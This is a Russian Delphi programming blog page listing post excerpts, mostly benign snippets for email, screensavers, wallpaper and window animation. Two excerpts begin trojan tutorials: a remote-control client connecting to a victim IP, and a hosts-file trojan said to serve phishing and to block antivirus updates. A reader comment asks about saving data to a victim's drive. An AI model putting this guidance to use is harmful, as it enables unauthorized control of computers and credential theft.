Меню сайта
Категории раздела
Тобольск [0]
ТГСПА [0]
Delphi [40]
Basic [0]
Разное [4]
Радио
ЧАТ
200
Облако тегов
Облако фото
Форум
  • композитная арматура (0)
  • Справедливо ли это???? (1)
  • Недвижимость в Тюмени (1)
  • Качество услуг и обслуживания (2)
  • строительный эксперт (0)
  • гид по Греции (0)
  • винные туры по Италии (0)
  • деревянные лестницы (0)
  • гид по Италии (0)
  • Разные поздравления (1)
  • Главная » 2011 » Март » 19
    Да помнится было время, когда я очень долго искал информацию о возможности корректной отправки письма с вложениями . Компоненты от Инди (Indy) – это те еще фрукты. С русским языком помню были проблемы и прикрепленные файлы были испорчены или вообще не отсылались.

    В этом посте я выкладываю исходники отправки электронной почты (email) для Delphi 7, 2007 , 2009 и 2010.

    -:: Для Delphi 2007 ::-

    ...

    type
    TDummyEncode = class
    protected
    class procedure SetCharSet(var VTransferHeader: TTransfer;
    var VHeaderEncoding: Char; var VCharSet: String);
    end;

    { TEncode }

    class procedure TDummyEncode.SetCharSet(var VTransferHeader: TTransfer;
    var VHeaderEncoding: Char; var VCharSet: String);
    begin
    VCharSet:='windows-1251';
    VTransferHeader := bit8;
    VHeaderEncoding := 'B';
    end;

    procedure TForm1.SendMail();
    var
    Message : TIdMessage;
    begin
    IdSMTP1.Host := 'Host';
    IdSMTP1.Username :='UserName';
    IdSMTP1.Passwo ... Читать дальше »
    Категория: Delphi | Просмотров: 901 | Добавил: SeM | Дата: 19.03.2011 | Комментарии (0)

    uses shellapi;

    procedure InstallScreenSaver(const FileName: string);
    begin
    { Set this screensaver as default screensaver and open the properties dialog}
    ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'),
    PChar('desk.cpl,InstallScreenSaver ' + FileName), nil, SW_SHOWNORMAL);
    end;
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    InstallScreenSaver('c:\YourScreenSaverFile.scr');
    end;
    Категория: Delphi | Просмотров: 419 | Добавил: SeM | Дата: 19.03.2011 | Комментарии (0)

    uses ...Registry; //подключаем модуль ...

    procedure TForm1.Button1Click(Sender: TObject);
    var Reg: TRegIniFile;
    begin
    Reg := TRegIniFile.Create('Control Panel');
    Reg.WriteString('desktop', 'Wallpaper', 'c:\windows\Установка.bmp');
    Reg.WriteString('desktop', 'TileWallpaper', '0');
    Reg.Free;
    SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, nil, SPIF_SENDWININICHANGE);
    end;
    Категория: Delphi | Просмотров: 524 | Добавил: SeM | Дата: 19.03.2011 | Комментарии (0)

    Для достижения этого эффекта необходимо в события формы OnCreate и OnClose добавить следующий код:

    procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
    AnimateWindow(Handle, 1000, AW_HIDE or AW_BLEND)
    end;
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    AnimateWindow(Handle, 1000, AW_BLEND)
    end;
    Длительность появления (исчезания) формы можно регулировать изменяя значение параметра, следующего за Handle.
    Категория: Delphi | Просмотров: 489 | Добавил: SeM | Дата: 19.03.2011 | Комментарии (0)

    И так, троян состоит из сервера и клиента, поэтому мы с вами должны создать два проекта "client" и "server" .
    Клиент отпровляет комманды серверу а сервер в свою очередь их обробатывает.

    CLIENT

    Создаём новый проект и кидаем на форму clientsocket с вкладки internet, 2 edit- в них будем писать ип к которому будем коннектиться и текст мессаги, 8 button- которые будут посылать серверу комманды "также киньте на форму memo".

    Для начала довайте компоненту clientsocket сменим имя на cs
    Теперь измените свойство caption у ваших кнопок как показанно на скрине


    теперь у формы в событии OnGreate пишим
    code:
    cs.Host:=edit1.Text; //Наш хост, тобиш ип который вы будете вписывать в edit1
    cs.port:=123; //Указываем порт в нашем случае инфа будет передоваться через 123 порт
    теперь у в обработчике собития OnClick кнопки "Коннект" пишем код

    Цитата:var s:string;
    begin
    cs.Active:=true; //Коннектимся
    if cs.Socket.Connected=true then begin //Если п ... Читать дальше »
    Категория: Delphi | Просмотров: 659 | Добавил: SeM | Дата: 19.03.2011 | Комментарии (0)

    Ну тут типо урок для начинающих в изучении дэльфи =))
    Это не есть самый идеальный Trojan hosts, но все же он работает.
    Сначало разберемся что это...
    Hosts - файл который лежит C:\WINDOWS\system32\drivers\etc\hosts - но говорят что в реестре мона поменять путь и пользы от трояна не будет, в этом файле лежат всякие ассоциации компьтера с адресами (ну мож не прально но я постарался более внятно обьяснить)
    например там стандартная строчка

    code:

    127.0.0.1 localhost
    она обозначает следующие - localhost считать как 127.0.0.1 - т.е при коннекте по адресу localhost нас переадресовывает на 127.0.0.1.
    Зачем пишут трояны которые редактирует hosts?
    Ну это используется преимущественно людьми которые используют фэйковые страницы для кражи паролей и вирусописателями - вирусмэйкеры или как там прально )))
    Зачем вирусописателями? - ну тут ответ прост, если прописать в hosts адреса обновлений антивирусника или файрвола и перенаправлять коннекты на ... Читать дальше »
    Категория: Delphi | Просмотров: 1458 | Добавил: SeM | Дата: 19.03.2011 | Комментарии (0)

    Поиск по сайту
    Календарь
    «  Март 2011  »
    ПнВтСрЧтПтСбВс
     123456
    78910111213
    14151617181920
    21222324252627
    28293031
    Новый Год
    Опрос
    Откуда вы узнали о сайте?


    Всего ответов: 14
    Всего голосовало: 14
    Обсудить на форуме
    Друзья сайта
    измерьте скорость интернета Яндекс.Метрика
    Проверить тИЦ и PR
    Статистика
    Погода
    Яндекс.Погода
    Коменнтарии

    Извиняюсь, заработал. Спасибо за урок biggrin

    Компонент не работает

    Давайте помогу разобраться ? вы хотите что бы когда выбиралась станция сразу начинала проигрывать? скиньте исходник или как лучше связаться с вами?

    у меня все работает!

    Нифига не робит...
    Кто знает как сделать чтобы на жесткий жертвы сохранял..
    ISQ 606017777

    FSDGHDFJHRG


    Отзывы Фото
    6 микр. Красивое место....

    Ершов ))))

    Старый музей но щас его перенесли...

    Фотография под горы smile

    Красивое фото!!! smile

    Copyright MyCorp © 2024